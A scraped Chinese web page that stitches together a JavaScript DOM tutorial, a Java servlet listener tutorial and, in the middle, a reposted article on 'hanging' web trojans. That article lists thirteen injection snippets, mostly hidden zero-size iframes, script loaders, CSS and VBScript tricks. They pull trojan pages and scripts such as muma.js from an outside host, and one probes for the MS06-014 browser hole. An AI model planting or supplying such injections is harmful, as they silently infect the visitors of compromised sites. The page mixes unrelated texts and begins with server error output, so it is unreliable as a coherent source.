Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
<html>
<head>
<title>DOM 教程</title>
</head>
<body>
<h1>DOM 第一課</h1>
<p class="example">Hello world!</p>
<input name="myInput" type="text" size="20" /><br />
<h1 id="myHeader">This is a header</h1>
</body>
</html>
上面的 HTML 中:
<html> 節點沒有父節點;它是根節點
<head> 和 <body> 的父節點是 <html> 節點
文本節點 "Hello world!" 的父節點是 <p> 節點
并且:
<html> 節點擁有兩個子節點:<head> 和 <body>
<head> 節點擁有一個子節點:<title> 節點
<title> 節點也擁有一個子節點:文本節點 "DOM 教程"
<h1> 和 <p> 節點是同胞節點, 同時也是 <body> 的子節點
并且:
<head> 元素是 <html> 元素的首個子節點
<body> 元素是 <html> 元素的最后一個子節點
<h1> 元素是 <body> 元素的首個子節點
<p> 元素是 <body> 元素的最后一個子節點
訪問節點:
var oLi=document.getElementsByTagName("li");
var oLi=document.getElementById("myHeader");
var oLi=document.getElementsByName("myInput"); //通過name屬性訪問
querySelector訪問方式: IE8開始支持, IE8以下不支持
var div=document.querySelector("#myHeader"); //通過id訪問
var div=document.querySelector("li"); //通過標簽訪問
document.querySelector(".example"); //通過class屬性訪問
獲取表單值
document.getElementById(id).value
querySelector() 方法返回文檔中匹配指定 CSS 選擇器的一個元素。
注意: querySelector() 方法僅僅返回匹配指定選擇器的第一個元素。
如果你需要返回所有的元素, 請使用 querySelectorAll() 方法替代。
利用父子兄關系查找節點:
使用childNodes屬性
對象屬性
nodeName 返回當前節點名字
元素節點的 nodeName 是標簽名稱
屬性節點的 nodeName 是屬性名稱
文本節點的 nodeName 永遠是 #text
文檔節點的 nodeName 永遠是 #document
nodeValue 返回當前節點的值, 僅對文本節點和屬性節點
對于文本節點, nodeValue 屬性包含文本。
對于屬性節點, nodeValue 屬性包含屬性值。
nodeValue 屬性對于文檔節點和元素節點是不可用的。
注意:nodeValue與tagName的區別對于空白節點的返回值:nodeValue返回null, tagName返回undefined
對于文本節點的返回值:nodeValue返回文本, tagName返回undefined
nodeType 檢測節點類型:
alert(document.nodeType);
元素節點的nodeType值為1; 標簽名稱
屬性節點的nodeType值為2; 屬性名稱 屬性節點不能算是其元素節點的子節點
文本節點的nodeType值為3; #text
注釋(Comment) 8: #comment
文檔(Document) 9 #document <HTML>
文檔類型(DocumentType) 10: <!DOCTYPE HTML PUBLIC"...">
節點 nodeType nodeName nodeValue
元素節點 1 大寫的標簽名 null
屬性節點 2 屬性名 屬性值
文本節點 3 #text 文本值
tagName 返回標簽的名稱, 僅對元素節點
parentNode 返回當前節點的父節點, 如果存在的話
childNodes 返回當前節點的子節點集合
firstChild 對標記的子節點集合中第一個節點的引用, 如果存在的話
lastChild 對標記的子節點集合中最后一個節點的引用, 如果存在的話
previousSibling 對同屬一個父節點的前一個兄弟節點的引用
nextSibling 對同屬一個父節點的下一個兄弟節點的引用
Attributes 返回當前節點(標記)屬性的列表 用于XML文件
ownerDocument 返回節點所屬的根元素
一些 DOM 對象方法
getElementById() 返回帶有指定 ID 的元素。
getElementsByTagName() 返回包含帶有指定標簽名稱的所有元素的節點列表(集合/節點數組)。
getElementsByName() 返回包含帶有指定類名的所有元素的節點列表。
appendChild() 把新的子節點添加到指定節點。
removeChild() 刪除子節點。
replaceChild() 替換子節點。
insertBefore() 在指定的子節點前面插入新的子節點。
createAttribute() 創建屬性節點。
createElement() 創建元素節點。
createTextNode() 創建文本節點。
getAttribute() 返回指定的屬性值。
setAttribute() 把指定屬性設置或修改為指定的值。
刪除、替換、插入子節點必須通過父節點的removeChild()方法來完成的
createAttribute() 創建屬性節點
var att=document.createAttribute("class");
att.value="democlass";
document.getElementsByTagName("H1")[0].setAttributeNode(att);
以上代碼可以簡化為
document.getElementsByTagName("H1")[0].class="democlass";
createAttribute()結合setAttributeNode()使用
等同于:
document.getElementsByTagName("H1")[0].setAttributeNode("class", "democlass");
DOM獲取所有子節點:
<html>
<head>
<title>childNodes</title>
<script language="javascript">
function myDOMInspector(){
var oUl=document.getElementById("myList"); //獲取<ul>標記
var DOMString="";
if(oUl.hasChildNodes()){ //判斷是否有子節點
var oCh=oUl.childNodes;
for(var i=0;i<oCh.length;i++) //逐一查找
DOMString +=oCh[i].nodeName + "\n";
}
alert(DOMString);
}
</script>
</head>
<body onload="myDOMInspector()">
<ul id="myList">
<li>糖醋排骨</li>
<li>圓籠粉蒸肉</li>
<li>泡菜魚</li>
<li>板栗燒雞</li>
<li>麻婆豆腐</li>
</ul>
</body>
</html>
使用parentNode屬性:
<html>
<head>
<title>parentNode</title>
<script language="javascript">
function myDOMInspector(){
var myItem=document.getElementById("myDearFood");
alert(myItem.parentNode.tagName); //返回值為ul
}
</script>
</head>
<body onload="myDOMInspector()">
<ul>
<li>糖醋排骨</li>
<li>圓籠粉蒸肉</li>
<li>泡菜魚</li>
<li id="myDearFood">板栗燒雞</li>
<li>麻婆豆腐</li>
</ul>
</body>
</html>
DOM的兄弟關系:
<html>
<head>
<title>Siblings</title>
<script language="javascript">
function myDOMInspector(){
var myItem=document.getElementById("myDearFood");
//訪問兄弟節點
var nextListItem=myItem.nextSibling;
var preListItem=myItem.previousSibling;
alert(nextListItem.tagName +" "+ preListItem.tagName);
}
</script>
</head>
<body onload="myDOMInspector()">
<ul>
<li>糖醋排骨</li>
<li>圓籠粉蒸肉</li>
<li>泡菜魚</li>
<li id="myDearFood">板栗燒雞</li>
<li>麻婆豆腐</li>
</ul>
</body>
</html>
編寫自定義函數解決Firefox等瀏覽器包含眾多的空格作為文本節點問題。
<html>
<head>
<title>Siblings</title>
<script language="javascript">
function nextSib(node){
var tempLast=node.parentNode.lastChild;
//判斷是否是最后一個節點,如果是則返回null
if(node==tempLast)
return null;
var tempObj=node.nextSibling;
//逐一搜索后面的兄弟節點,直到發現元素節點為止
while(tempObj.nodeType!=1 && tempObj.nextSibling!=null)
tempObj=tempObj.nextSibling;
//三目運算符,如果是元素節點則返回節點本身,否則返回null
return (tempObj.nodeType==1)?tempObj:null;
}
function prevSib(node){
var tempFirst=node.parentNode.firstChild;
//判斷是否是第一個節點,如果是則返回null
if(node==tempFirst)
return null;
var tempObj=node.previousSibling;
//逐一搜索前面的兄弟節點,直到發現元素節點為止
while(tempObj.nodeType!=1 && tempObj.previousSibling!=null)
tempObj=tempObj.previousSibling;
return (tempObj.nodeType==1)?tempObj:null;
}
function myDOMInspector(){
var myItem=document.getElementById("myDearFood");
//獲取后一個元素兄弟節點
var nextListItem=nextSib(myItem);
//獲取前一個元素兄弟節點
var preListItem=prevSib(myItem);
alert("后一項:" + ((nextListItem!=null)?nextListItem.firstChild.nodeValue:null) + " 前一項:" + ((preListItem!=null)?preListItem.firstChild.nodeValue:null) );
}
</script>
</head>
<body onload="myDOMInspector()">
<ul>
<li>糖醋排骨</li>
<li>圓籠粉蒸肉</li>
<li>泡菜魚</li>
<li id="myDearFood">板栗燒雞</li>
<li>麻婆豆腐</li>
</ul>
</body>
</html>
注意:最新版的IE瀏覽器也包含眾多的空格作為文本節點;
設置節點屬性:
getAttribute()方法和setAttibute()方法
<html>
<head>
<title>getAttribute()</title>
<script language="javascript">
function myDOMInspector(){
//獲取圖片
var myImg=document.getElementsByTagName("img")[0];
//獲取圖片title屬性
alert(myImg.getAttribute("title")); //也可以用myImg.title獲取屬性值
}
</script>
</head>
<body onload="myDOMInspector()">
<img src="01.jpg" title="情人坡" />
</body>
</html>
<html>
<head>
<title>setAttribute()</title>
<script language="javascript">
function changePic(){
//獲取圖片
var myImg=document.getElementsByTagName("img")[0];
//設置圖片src和title屬性
myImg.setAttribute("src","02.jpg"); //可以在屬性節點不存在時,添加節點的屬性值;
myImg.setAttribute("title","紫荊公寓"); //也可以通過myImg.title="紫荊公寓";
}
</script>
</head>
<body>
<img src="01.jpg" title="情人坡" onclick="changePic()" />
</body>
</html>
setAttribute()設置HTML標簽的屬性
oTable.setAttribute("border", "3"); //為表格邊框設置寬度
oTable.setAttribute("border", 3);
oTable.setAttribute("border", "3px"); //經過測試, 此種寫法也正確
建議: 具體格式參照HTML屬性值的語法格式
setAttibute()設置行內樣式
obj.setAttribute("style", "position:absolute;left:200px;top:200px");
注意:具體格式參考CSS樣式的語法格式
setAttibute()設置事件屬性
obj.setAttribute("onclick", "remove_img()"); //remove_img() 編寫自定義函數, 這里不能使用自定義函數
注意:關于文本節點兼容性
元素節點
子節點: childNodes children
首尾子節點: firstChild firstElementChild
lastChild lastElementChild
兄弟節點: nextSibling nextElementSibling
previousSibling previousElementSibling
childNodes firstChild lastChild nextSibling previousSibling屬性IE6-IE8版本瀏覽器不會返回空白節點,
IE9以上版本瀏覽器會返回文本節點, W3C瀏覽器(包括火狐瀏覽器)也會返回文本節點
children firstElementChild lastElementChild nextElementSibling previousElementSibling 只返回元素節點, 不會返回空白節點
注意: DOM操作必須保住DOM節點必須存在, 當然也包括使用css樣式display:none隱藏的DOM節點, 否則會導致js語法錯誤;
言
最近整理了一些奇安信&華為&深信服大佬的課件資料+大廠面試課題,想要的可以私信自取,無償贈送給粉絲朋友~
今天,有一位網友問了我一個問題,他自己已經有了網站了,現在他想做成“掛馬”這種網站,只要打開它,電腦就有可能感染木馬病毒。
木馬是需要觸發才有效果的,觸發條件:要么欺騙用戶主動,要么利用漏洞。可能他對木馬、掛馬、網馬這些不是很理解,因此我特意發了此篇文章。
1、掛馬
從“掛馬”這個詞中就知道,它和“木馬”脫離不了關系,的確,掛馬的目的就是將木馬傳播出去。
黑客入侵了一些網站之后,將自己編定的網頁木馬嵌入到其網站的頁面(通常是在網站主頁)中,利用該網站的流量將自己的網頁木馬傳播出去從而達到自己的目的。
2、網馬
網馬,即“網頁木馬”,就是將木馬和網頁結合在一起,當打開網頁的時候就會自動下載并運行其木馬程序。
最初的網頁木馬就是利用了IE瀏覽器的ActiveX控件,在運行網頁木馬的時候會彈出一個控件下載提示,只有經過用戶確認后才會運行其中的木馬。
目前新型的木馬通常利用IE瀏覽器存在的漏洞來傳播網頁木馬。
當然,現在瀏覽器不僅僅是指IE,還有很多其它的瀏覽器,例如:谷歌、百度、360、搜狗、QQ、火狐瀏覽器......等等。
1、申請網站空間:將木馬程序和網馬全部上傳到該網站空間,使其可以被訪問,假如申請成功后的網站空間地址為“http://www.xxx.com/xxx”;
2、上傳木馬程序:上傳完成后木馬的訪問地址為“http://www.xxx.com/horse.exe”;
3、使用網頁木馬生成器生成網馬:假如生成后網馬地址為“http://www.xxx.com/horse.htm”;
4、進行掛馬:將生成后的網馬地址嵌入到其他正常的網站頁面,假如嵌入到騰訊的主頁“http://www.qq.com/index.htm”;
1、框架掛馬
<iframe src=地址 width=0 height=0></iframe>
2、JS文件掛馬
首先將以下代碼:
document.write("<iframe width='0' height='0' src='地址'></iframe>");
保存為xxx.js。
則JS掛馬代碼為:
<script language=javascript src=xxx.js></script>
3、JS變形加密
<SCRIPT language="JScript.Encode" src=https://www.fujieace.com/muma.txt></script>
muma.txt可改成任意后綴;
4、body掛馬
<body onload="window.location='地址';"></body>
5、隱蔽掛馬
top.document.body.innerHTML=top.document.body.innerHTML + '\r\n<iframe src="https://www.fujieace.com/muma.htm/"></iframe>';
6、css掛馬
body {
background-image: url('javascript:document.write("<script src=https://www.fujieace.com/muma.js></script>")')}
7、JAJA掛馬
<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>
8、圖片偽裝
<html>
<iframe src="網馬地址" height=0 width=0></iframe>
<img src="圖片地址"></center>
</html>
9、偽裝調用
<frameset rows="444,0" cols="*">
<frame src="打開網頁" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="網馬地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>
10、高級欺騙
<a href="http://www.163.com(迷惑連接地址,顯示這個地址指向木馬地址)" onMouseOver="www_163_com(); return true;"> 頁面要顯示的內容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="網馬地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
11、判斷系統代碼
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>404</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>
<BODY>
<SCRIPT language=javascript>
window.status="";
if(navigator.userAgent.indexOf("Windows NT 5.1") !=-1)
window.location.href="tk.htm";
else
window.location.href="upx06014.htm";
</SCRIPT>
</BODY></HTML>
12、判斷是否有ms06014代碼
<script language=VBScript>
on error resume next
set server=document.createElement("object")
server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
set File=server.createobject(Adodb.Stream,"")
if Not Err.Number=0 then
err.clear
document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
else
document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
end if
</script>
13、智能讀取js的代碼demo
//讀娶src的對象
var v=document.getElementById("advjs");
//讀娶src的參數
var u_num=getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));
document.write("<iframe src=\"https://www.fujieace.com/1/"+u_num+".htm\" width=\"0\" height=\"0\" frameborder=\"0\"></iframe>");
document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">");
document.writeln("<HTML><HEAD>");
document.writeln("<META http-equiv=Content-Type content=\"text\/html; charset=big5\">");
document.writeln("<META content=\"MSHTML 6.00.2900.3059\" name=GENERATOR><\/HEAD>");
document.writeln("<BODY> ");
document.writeln("<DIV style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\">");
document.writeln("<DIV ");
document.writeln("style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\"><\/DIV><\/DIV><\/BODY><\/HTML>")
//分析src的參數函數
function getUrlParameterAdv(asName,lsURL){
loU=lsURL.split("?");
if (loU.length>1){
var loallPm=loU[1].split("&");
for (var i=0; i<loallPm.length; i++){
var loPm=loallPm.split("=");
if (loPm[0]==asName){
if (loPm.length>1){
return loPm[1];
}else{
return "";
}
}
}
}
return null;
文章來源公眾號:程哥講安全
ervletRequestAttributeListener:
馬克- to-win:馬克 java社區:防盜版實名手機尾號: 73203。
ServletRequestAttributeListener能監測到有人正在往ServletRequest里添加屬性。你可以采取相應的措施。
例 2.2.6.1
package com;
import javax.servlet.ServletRequestAttributeEvent;
import javax.servlet.ServletRequestAttributeListener;
public class MyServletRequestAttributeListener implements ServletRequestAttributeListener {
public void attributeAdded(ServletRequestAttributeEvent arg0) {
System.out.println("增加了" + arg0.getName() + " " +
arg0.getValue() );
}
public void attributeRemoved(ServletRequestAttributeEvent arg0) {
System.out.println("去除了" + arg0.getName() + " " +
arg0.getValue() );
}
public void attributeReplaced(ServletRequestAttributeEvent arg0) {
System.out.println("取代了" + arg0.getName() + " " +
arg0.getValue()+"現在的新值是"+arg0.getServletRequest().getAttribute(arg0.getName()) );
}
}
web.xml加入下面這段話:
<listener>
<listener-class>com.MyServletRequestAttributeListener</listener-class>
</listener>
用下面這個servlet測試:
package com;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class ServletHello1 extends HttpServlet {
protected void doGet(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {
System.out.println("add attribute");
request.setAttribute("name", "馬克-to-win");
System.out.println("replace attribute");
request.setAttribute("name", "mark-to-win");
System.out.println("remove attribute");
request.removeAttribute("name");
}
篇幅有限更多請見擴展鏈接:
http://www.mark-to-win.com/tutorial/jsp_6_ServletRequestAttributeListener.html
*請認真填寫需求信息,我們會在24小時內與您取得聯系。